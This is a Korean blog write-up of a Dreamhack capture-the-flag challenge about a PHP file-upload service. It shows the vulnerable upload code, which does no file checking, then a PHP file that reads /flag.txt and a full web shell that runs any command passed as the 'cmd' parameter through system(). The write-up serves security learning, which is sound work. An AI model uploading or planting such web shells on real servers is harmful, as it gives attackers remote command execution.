<문제>
php로 작성된 파일 저장 서비스입니다.
파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다.
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
upload 부분을 보면 파일에 대한 검사를 하지 않기 때문에 php 코드를 올릴 수 있다.
<?php
system('cat /flag.txt')
?>
이런 파일을 하나 만들어서 올리고, list 페이지로 가서 조회해보면
php 코드가 실행되면서
flag가 뜬다.
드림핵에서 제시한 풀이는 웹 셸을 올리는 방법이다.
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
이런 코드를 올리고 조회하면
이런 식으로 시스템 명령어를 실행해서 flag를 얻을 수 있다.
name="<?php echo basename($_SERVER['PHP_SELF']); ?>"
이 부분은 폼의 이름을 현재 실행중인 스크립트의 이름으로 설정한다.
그리고 php에서 $_GET['cmd']로 name이 cmd인 값을 찾아서 system 명령어로 실행을 시켜준다.
'웹해킹' 카테고리의 다른 글
ServerSide: SSRF (0) | 2023.11.05 |
---|---|
드림핵 file-download-1 롸업 (0) | 2023.11.05 |
ServerSide: File Vulnerability (0) | 2023.11.04 |
드림핵 command-injection-1 롸업 (0) | 2023.11.04 |
ServerSide: Command Injection (0) | 2023.11.04 |